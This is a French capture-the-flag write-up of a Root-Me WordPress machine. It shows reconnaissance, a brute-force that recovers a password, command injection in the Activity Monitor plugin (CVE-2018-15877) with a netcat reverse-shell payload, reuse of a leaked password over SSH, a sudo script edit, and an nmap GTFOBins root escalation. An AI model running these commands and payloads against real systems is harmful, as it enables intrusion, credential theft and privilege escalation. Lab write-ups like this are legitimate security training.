Nous avons un Hint !
L'outil Rustscan me permet de détecter les services actifs :
┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf12.root-me.org
Un service HTTP est disponible sur le port 80 qui redirige vers l'adresse www.wordy.com :
Pour établir la connexion, il est nécessaire d'ajouter le nom de domaine à notre fichier Hosts :
┌──(ReZ3R0💀machine)-[~]
└─$ sudo nano /etc/hosts
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Root-Me Challenge:
163.172.195.228 wordy
Sous Windows ouvrir le Bloc-notes en mode administrateur et editer le fichier C:\Windows\System32\drivers\etc\hosts
ajouter également 163.172.195.228 wordy
Nous avons maintenant accès au site:
J'utilise le scanner de vulnérabilités Nikto sur le serveur web :
┌──(ReZ3R0💀machine)-[~]
└─$ nikto -h http://wordy
( Qui ne donne pas grand chose )
J'ai utilisé Dirsearch pour détecter des répertoires ou fichiers cachés/non listés sur le serveur web :
┌──(ReZ3R0💀machine)-[~]
└─$ dirsearch -u http://wordy
Nous avons donc une page de login sur un site WordPress : http://wordy/wp-login.php
J'utilise Wpscan pour analyser le site WordPress à la recherche de vulnérabilités connues :
┌──(ReZ3R0💀machine)-[~]
└─$ wpscan --url http://wordy -e
Nous avons 5 users :
┌──(ReZ3R0💀machine)-[~]
└─$ cat > users.txt
admin
mark
graham
sarah
jens
Maintenant je comprends le Hint ! 😜
┌──(ReZ3R0💀machine)-[~]
└─$ cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
Je lance un bruteforce avec l'outil Wpscan :
┌──(ReZ3R0💀machine)-[~]
└─$ wpscan --url http://wordy -U users.txt -P passwords.txt
[!] Valid Combinations Found:
| Username: mark, Password: helpdesk01
Nous avons donc la page de login : http://wordy/wp-login.php
et l'user mark avec le Password helpdesk01
Nous avons accès au plugin Activity monitor :
Qui est vulnérable https://www.exploit-db.com/exploits/45274
En lisant cette CVE-2018-15877 je peux commencer par tester un simple payload : google.com| id
Le payload google| nc reZ3R0 6666 -e /bin/bash établit une connexion via Netcat
Cependant il est trop long mais nous pouvons modifier la limite maxlenght à 150 par exemple :
Je démarre Netcat sur mon terminal en écoute sur le port 6666 :
┌──(ReZ3R0💀machine)-[~]
└─$ nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.1.106] from (UNKNOWN) [163.172.195.228] 57728
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
www-data@dc-6:/var/www/html/wp-admin$
En cherchant un peu je trouve rapidement: Add new user: graham - GSo7isUM1D4 - done :
Nous savons que le port 22 est ouvert, essayons une connexion ssh avec ce Mdp :
┌──(ReZ3R0💀machine)-[~]
└─$ ssh graham@ctf20.root-me.org
Vérification des droits pour graham:
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
graham peut éxecuter le script backups.sh avec les droits de jens
Regardons le script :
graham@dc-6:~$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
Il suffit d'ajouter /bin/bash dans le script pour accèder à l'utilisateur jens :
graham@dc-6:~$ nano /home/jens/backups.sh
graham@dc-6:~$ cat /home/jens/backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
/bin/bash
Nous pouvons maintenant accèder au compte de jens et vérifier ses droits :
graham@dc-6:~$ sudo -u jens /home/jens/backups.sh
tar: tar (child): backups.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now
Removing leading `/' from member names
tar: backups.tar.gz: Cannot write: Broken pipe
tar: Child returned status 2
tar: Error is not recoverable: exiting now
jens@dc-6:/home/graham$ id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)
jens@dc-6:/home/graham$ sudo -l
Matching Defaults entries for jens on dc-6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
(root) NOPASSWD: /usr/bin/nmap
Sur gtfobins nous pouvons trouver le payload :
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
nmap --script=$TF
Exécutons ce payload :
jens@dc-6:/home/graham$ echo 'os.execute("/bin/sh")' > /tmp/reZ3R0
jens@dc-6:/home/graham$ sudo nmap --script=/tmp/reZ3R0
Starting Nmap 7.40 ( https://nmap.org ) at 2024-11-06 06:16 AEST
NSE: Warning: Loading '/tmp/reZ3R0' -- the recommended file extension is '.nse'.
# uid=0(root) gid=0(root) groups=0(root)
Nous sommes Root !